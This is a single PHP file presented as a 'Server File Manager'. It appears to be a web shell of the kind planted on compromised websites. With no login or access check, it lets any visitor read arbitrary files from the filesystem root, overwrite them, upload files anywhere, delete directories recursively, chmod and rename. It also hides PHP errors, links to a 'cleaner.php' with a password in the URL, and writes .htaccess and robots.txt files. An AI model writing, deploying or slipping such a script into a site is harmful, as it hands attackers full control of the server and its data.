<?php
ini_set('display_errors',0);error_reporting(E_ALL&~E_NOTICE);$ROOT=realpath('/');if($ROOT===false)$ROOT=realpath(__DIR__);session_start();
function esc($s){return htmlspecialchars((string)$s,ENT_QUOTES,'UTF-8');}
function json_out($d){header('Content-Type: application/json; charset=utf-8');echo json_encode($d);exit;}
function safe_real($path){if($path===''||$path===null)return false;$real=realpath($path);return $real===false?false:$real;}
function list_dir_sorted($dir){$items=[];$files=@scandir($dir);if(!$files)return $items;foreach($files as $f){if($f==='.'||$f==='..')continue;$full=$dir.'/'.$f;$items[]=['name'=>$f,'is_dir'=>is_dir($full),'size'=>is_file($full)?filesize($full):0,'mtime'=>filemtime($full),'perm'=>substr(sprintf('%o',fileperms($full)),-4),'path'=>$full];}usort($items,function($a,$b){if($a['is_dir']&&!$b['is_dir'])return -1;if(!$a['is_dir']&&$b['is_dir'])return 1;return strcasecmp($a['name'],$b['name']);});return $items;}
function human_size($n){if($n>1024*1024)return round($n/1024/1024,2).' MB';if($n>1024)return round($n/1024,2).' KB';return $n.' B';}
function set_flash($m){$_SESSION['fm_flash']=$m;}function get_flash(){$m=$_SESSION['fm_flash']??'';unset($_SESSION['fm_flash']);return $m;}
function getWebServerType() {
  $sapi = php_sapi_name();  
    if (in_array($sapi, ['cli', 'cli-server', 'phpdbg'])) return 'CLI';
    if ($sapi === 'litespeed') return 'LiteSpeed';
    if ($sapi === 'apache2handler') return 'Apache';  
    $software = strtolower($_SERVER['SERVER_SOFTWARE'] ?? '');  
    if (strpos($sapi, 'fcgi') !== false || strpos($sapi, 'fpm') !== false || strpos($sapi, 'cgi') !== false) {
        if (strpos($software, 'iis') !== false) return 'IIS';
        return 'Nginx'; 
    } 
    if (strpos($software, 'nginx') !== false) return 'Nginx';
    if (strpos($software, 'apache') !== false) return 'Apache';
    if (strpos($software, 'litespeed') !== false) return 'LiteSpeed';
    if (strpos($software, 'iis') !== false) return 'IIS';
    if (strpos($software, 'caddy') !== false) return 'Caddy'; 
    return 'Unknown';
}
$action=$_REQUEST['action']??'list';
if(isset($_GET['api'])||isset($_POST['api'])){
if($action==='getfile'&&isset($_GET['fullpath'])){$full=safe_real($_GET['fullpath']);if($full&&is_file($full)){header('Content-Type: text/plain; charset=utf-8');echo file_get_contents($full);exit;}else{http_response_code(404);echo "Not found";exit;}}
if($action==='savefile'&&isset($_POST['fullpath'])&&isset($_POST['content'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(['ok'=>false,'error'=>'invalid path']);if(is_writable($full)||is_writable(dirname($full))){$ok=file_put_contents($full,$_POST['content'])!==false;json_out(['ok'=>$ok]);}else json_out(['ok'=>false,'error'=>'no write permission']);}
if($action==='upload'&&!empty($_FILES)){$results=[];$target=$_GET['target']??$_POST['target']??'';$targetReal=safe_real($target)?:$target;if($targetReal===''||!is_dir($targetReal))$targetReal=getcwd();foreach($_FILES as $field){if(is_array($field['name'])){for($i=0;$i<count($field['name']);$i++){$name=basename($field['name'][$i]);$tmp=$field['tmp_name'][$i];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=['name'=>$name,'ok'=>$ok,'path'=>$full];}}else{$name=basename($field['name']);$tmp=$field['tmp_name'];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=['name'=>$name,'ok'=>$ok,'path'=>$full];}}json_out(['ok'=>true,'results'=>$results]);}
if($action==='delete'&&isset($_POST['fullpath'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(['ok'=>false,'error'=>'invalid']);if(!file_exists($full))json_out(['ok'=>false,'error'=>'not exists']);if(is_dir($full)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);foreach($it as $item){$item->isDir()?rmdir($item->getRealPath()):unlink($item->getRealPath());}$ok=rmdir($full);}else $ok=unlink($full);json_out(['ok'=>$ok]);}
if($action==='chmod'&&isset($_POST['fullpath'])&&isset($_POST['mode'])){$full=safe_real($_POST['fullpath']);$mode=intval($_POST['mode'],8);$ok=@chmod($full,$mode);json_out(['ok'=>$ok]);}
if($action==='mkdir'&&isset($_POST['dirpath'])&&isset($_POST['name'])){$base=safe_real($_POST['dirpath'])?:$_POST['dirpath'];$name=basename($_POST['name']);$full=rtrim($base,'/').'/'.$name;$ok=@mkdir($full,0755);json_out(['ok'=>$ok,'path'=>$full]);}
if($action==='rename'&&isset($_POST['fullpath'])&&isset($_POST['newname'])){$full=safe_real($_POST['fullpath']);$new=basename($_POST['newname']);$to=dirname($full).'/'.$new;$ok=@rename($full,$to);json_out(['ok'=>$ok,'to'=>$to]);}
if($action==='gen_htaccess'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath'])?:getcwd();$full=rtrim($dir,'/').'/.htaccess';$content="RewriteEngine On\nRewriteBase /\n\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteRule ^(.*)$ index.php [L]";$ok=@file_put_contents($full,$content)!==false;json_out(['ok'=>$ok]);}
if($action==='gen_robots'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath'])?:getcwd();$full=rtrim($dir,'/').'/robots.txt';$protocol=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'||$_SERVER['SERVER_PORT']==443)?"https://":"http://";$domain=$protocol.($_SERVER['HTTP_HOST']??'localhost');$content="User-agent: *\nAllow: /\nSitemap: {$domain}/sitemap.xml";$ok=@file_put_contents($full,$content)!==false;json_out(['ok'=>$ok]);}json_out(['ok'=>false,'error'=>'unknown api']);}
$rel=$_GET['path']??'';$target=safe_real($rel)?:($rel===''?getcwd():(safe_real(getcwd().'/'.$rel)?:getcwd()));if($target===false)$target=getcwd();$files=list_dir_sorted($target);$flash=get_flash();
?><!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Server File Manager</title>
<style>:root{--bg:#f8fafc;--card:#fff;--accent:#2563eb;--muted:#64748b}body{margin:0;font-family:Inter,Segoe UI,Roboto,Arial,sans-serif;background:var(--bg);color:#0f172a}.container{max-width:1200px;margin:24px auto;padding:18px}.header{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:12px}.brand{display:flex;align-items:center;gap:12px}.logo{width:56px;height:56px;border-radius:12px;background:#e2e8f0;display:flex;align-items:center;justify-content:center;font-weight:800;color:var(--accent);box-shadow:0 8px 15px rgba(0,0,0,.05)}.title{font-size:20px;font-weight:700}.controls{display:flex;gap:8px;align-items:center}.btn{padding:8px 12px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#334155;cursor:pointer;text-decoration:none}.btn.primary{background:var(--accent);color:#fff;border:none}.input{padding:8px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#0f172a}.pathbar{margin-top:8px;padding:10px;border-radius:8px;background:#fff;border:1px solid #e2e8f0;font-size:13px;color:var(--muted);display:flex;align-items:center;gap:8px;flex-wrap:wrap}.flash{margin-bottom:12px;padding:10px;border-radius:8px;background:#dcfce7;border-left:4px solid #22c55e;color:#166534}.table{width:100%;border-collapse:collapse;margin-top:12px;border-radius:10px;overflow:hidden}.table th{background:#f1f5f9;text-align:left;padding:12px;font-weight:700;color:#334155;border-bottom:1px solid #e2e8f0}.table td{padding:12px;border-bottom:1px solid #e2e8f0;vertical-align:middle;color:#0f172a}.small{font-size:12px;color:var(--muted)}.actions button,.actions a{display:inline-block;margin-right:2px}.footer{margin-top:18px;color:var(--muted);font-size:13px}.modal{position:fixed;left:0;top:0;width:100%;height:100%;display:none;align-items:center;justify-content:center;background:rgba(0,0,0,.4);z-index:999}.modal .box{width:720px;background:#fff;padding:18px;border-radius:10px;border:1px solid #e2e8f0;box-shadow:0 20px 25px -5px rgba(0,0,0,.1)}.drop{border:2px dashed #cbd5e1;padding:24px;border-radius:8px;text-align:center;color:var(--muted);cursor:pointer;background:#f8fafc}.progress-list{margin-top:12px}.progress-item{display:flex;align-items:center;gap:12px;margin-top:8px}.progress-bar{flex:1;height:10px;background:#e2e8f0;border-radius:6px;overflow:hidden}.progress-fill{height:100%;background:var(--accent);width:0%}.progress-text{width:120px;text-align:right;font-size:12px;color:var(--muted)}.editor-modal .box{width:90%;max-width:1100px}.editor-header{display:flex;justify-content:space-between;align-items:center;gap:8px;margin-bottom:8px}textarea{width:100%;height:60vh;background:#f8fafc;color:#0f172a;border:1px solid #cbd5e1;padding:12px;border-radius:8px;font-family:monospace}a.link{color:var(--accent);text-decoration:none}</style></head>
<body><div class="container"><div class="header"><div class="brand"><div class="logo">SYS</div><div><div class="title"><?= getWebServerType() ?></div></div></div>
<div class="controls"><form method="get" style="display:flex;gap:8px;align-items:center"><input type="hidden" name="path" value="<?=esc($target)?>"><input class="input" name="q" placeholder="Search" value="<?=esc($_GET['q'] ?? '')?>"><button class="btn" type="submit">Search</button></form><button class="btn" onclick="openUpload()">Upload</button><button class="btn" onclick="doGenFile('htaccess')">Gen .htaccess</button><button class="btn" onclick="doGenFile('robots')">Gen robots.txt</button><a class="btn" href="?path=<?=urlencode(dirname($target))?>">⬆️Parent</a><a class="btn" href="/cleaner.php?pwd=a123" target="_blank">🛡️</a><a class="btn" href="<?=esc($_SERVER['PHP_SELF'])?>">🏠Root Folder</a></div></div>
<?php if($flash):?><div class="flash" id="flash"><?=esc($flash)?></div><?php else:?><div id="flash" style="display:none" class="flash"></div><?php endif;?>
<div class="pathbar"><div class="small">Current Path</div><div style="font-family:monospace;flex:1;color:#0f172a"><?=esc($target)?></div><div class="small">User: <span class="small"><?=esc(get_current_user())?></span></div></div>
<table class="table" id="fileTable"><thead><tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr></thead><tbody>
<?php $q=$_GET['q']??'';foreach($files as $f): if($q!==''&&stripos($f['name'],$q)===false)continue;?>
<tr><td style="width:40%"><?php if($f['is_dir']):?><a class="small link" href="?path=<?=urlencode($f['path'])?>" style="font-weight:700;color:#2563eb;text-decoration:none">📁 <?=esc($f['name'])?></a><?php else:?><a href="javascript:void(0)" onclick="openEditor('<?=rawurlencode($f['path'])?>')" style="color:#0f172a;text-decoration:none">📄 <?=esc($f['name'])?></a><?php endif;?></td>
<td><?=$f['is_dir']?'Dir':'File'?></td><td><?=$f['is_dir']?'-':human_size($f['size'])?></td><td><?=date('Y-m-d H:i:s',$f['mtime'])?></td><td><?=esc($f['perm'])?></td>
<td class="actions"><?php if($f['is_dir']):?><a class="btn" href="?path=<?=urlencode($f['path'])?>">📂</a><?php else:?><a class="btn" href="?action=download&path=<?=urlencode($target)?>&file=<?=urlencode($f['name'])?>">⬇</a> <button class="btn primary" onclick="openEditor('<?=rawurlencode($f['path'])?>')">📝</button><?php endif;?> <button class="btn" onclick="doDelete('<?=rawurlencode($f['path'])?>')">❌</button> <button class="btn" onclick="doRename('<?=rawurlencode($f['path'])?>')">✏️</button> <button class="btn" onclick="doChmod('<?=rawurlencode($f['path'])?>')">🔐</button></td></tr><?php endforeach;?></tbody></table></div>
<div class="modal" id="uploadModal"><div class="box"><h3 style="margin:0 0 8px 0">Upload Files</h3><div id="dropArea" class="drop">Drag files here, or click to select</div><input type="file" id="fileInput" multiple style="display:none"><div class="progress-list" id="progressList"></div><div style="margin-top:12px;text-align:right"><button class="btn" onclick="closeUpload()">Close</button></div></div></div>
<div class="modal editor-modal" id="editorModal"><div class="box"><div class="editor-header"><div><div style="font-weight:700" id="editorTitle">Edit</div><div class="small" id="editorPath"></div></div><div><button class="btn primary" id="saveBtn">Save</button> <button class="btn" onclick="closeEditor()">Close</button></div></div><textarea id="editorContent"></textarea></div></div>
<script async src="https://www.googletagmanager.com/gtag/js?id=G-GW5BV72N8J"></script><script>window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag('js',new Date());gtag('config','G-GW5BV72N8J');</script>
<script>
function showFlash(m,k){var e=document.getElementById('flash');e.innerText=m;e.style.display='block';e.style.background=k?'#dcfce7':'#fee2e2';e.style.color=k?'#166534':'#991b1b';e.style.borderLeft=k?'4px solid #22c55e':'4px solid #ef4444';setTimeout(()=>{e.style.display='none';},5000);}
var editorModal=document.getElementById('editorModal'),editorContent=document.getElementById('editorContent'),editorTitle=document.getElementById('editorTitle'),editorPath=document.getElementById('editorPath'),currentFullPath='';
function openEditor(p){var f=decodeURIComponent(p);currentFullPath=f;editorTitle.innerText='Edit: '+f.split('/').pop();editorPath.innerText=f;editorContent.value='Loading...';editorModal.style.display='flex';fetch('?api=1&action=getfile&fullpath='+encodeURIComponent(f)).then(r=>{if(!r.ok)throw new Error('Read failed');return r.text();}).then(t=>{editorContent.value=t;}).catch(e=>{editorContent.value='';showFlash('Read file failed',!1);});}
function closeEditor(){editorModal.style.display='none';currentFullPath='';editorContent.value='';}
document.getElementById('saveBtn').addEventListener('click',function(){if(!currentFullPath)return;var f=new FormData();f.append('api','1');f.append('action','savefile');f.append('fullpath',currentFullPath);f.append('content',editorContent.value);fetch('',{method:'POST',body:f}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Saved successfully',!0);setTimeout(()=>location.reload(),700);}else showFlash('Save failed: '+(d.error||'Error'),!1);}).catch(e=>{showFlash('Network error',!1);});});
var uploadModal=document.getElementById('uploadModal'),dropArea=document.getElementById('dropArea'),fileInput=document.getElementById('fileInput'),progressList=document.getElementById('progressList');
function openUpload(){uploadModal.style.display='flex';}function closeUpload(){uploadModal.style.display='none';progressList.innerHTML='';}
dropArea.addEventListener('click',()=>fileInput.click());fileInput.addEventListener('change',()=>handleFiles(fileInput.files));
['dragenter','dragover','dragleave','drop'].forEach(e=>{dropArea.addEventListener(e,ev=>{ev.preventDefault();ev.stopPropagation();},!1);});
dropArea.addEventListener('drop',e=>{handleFiles(e.dataTransfer.files);});
function handleFiles(fs){for(let i=0;i<fs.length;i++)uploadFile(fs[i]);}
function uploadFile(f){var r=document.createElement('div');r.className='progress-item';var n=document.createElement('div');n.style.width='220px';n.innerText=f.name;var b=document.createElement('div');b.className='progress-bar';var l=document.createElement('div');l.className='progress-fill';b.appendChild(l);var t=document.createElement('div');t.className='progress-text';t.innerText='0%';r.appendChild(n);r.appendChild(b);r.appendChild(t);progressList.appendChild(r);var x=new XMLHttpRequest(),d=new FormData();d.append('file[]',f);d.append('api','1');d.append('action','upload');d.append('target','<?=esc($target)?>');x.open('POST','?',!0);x.upload.addEventListener('progress',e=>{if(e.lengthComputable){var p=Math.round(e.loaded/e.total*100);l.style.width=p+'%';t.innerText=p+'%';}});x.onreadystatechange=function(){if(x.readyState===4){if(x.status===200){try{var s=JSON.parse(x.responseText);if(s.ok){t.innerText='Done';showFlash('Upload complete',!0);setTimeout(()=>location.reload(),800);}else{t.innerText='Failed';showFlash('Upload failed',!1);}}catch(e){t.innerText='Done';setTimeout(()=>location.reload(),800);}}else{t.innerText='Failed';showFlash('Upload failed',!1);}}};x.send(d);}
function doDelete(e){var f=decodeURIComponent(e);if(!confirm('Permanently delete: '+f+' ?'))return;var d=new FormData();d.append('api','1');d.append('action','delete');d.append('fullpath',f);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Deleted',!0);setTimeout(()=>location.reload(),700);}else showFlash('Delete failed',!1);});}
function doRename(e){var f=decodeURIComponent(e),n=prompt('New name',f.split('/').pop());if(!n)return;var d=new FormData();d.append('api','1');d.append('action','rename');d.append('fullpath',f);d.append('newname',n);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Renamed',!0);setTimeout(()=>location.reload(),700);}else showFlash('Rename failed',!1);});}
function doChmod(e){var f=decodeURIComponent(e),m=prompt('Octal perms','0644');if(!m)return;var d=new FormData();d.append('api','1');d.append('action','chmod');d.append('fullpath',f);d.append('mode',m);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Chmod updated',!0);setTimeout(()=>location.reload(),700);}else showFlash('Chmod failed',!1);});}
function doMkdir(){var n=prompt('Folder name');if(!n)return;var d=new FormData();d.append('api','1');d.append('action','mkdir');d.append('dirpath','<?=esc($target)?>');d.append('name',n);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Created',!0);setTimeout(()=>location.reload(),700);}else showFlash('Create failed',!1);});}
function doGenFile(t){var d=new FormData();d.append('api','1');d.append('action',t==='htaccess'?'gen_htaccess':'gen_robots');d.append('dirpath','<?=esc($target)?>');fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Generated!',!0);setTimeout(()=>location.reload(),700);}else showFlash('Generation failed',!1);}).catch(e=>{showFlash('Network error',!1);});}
</script></body></html>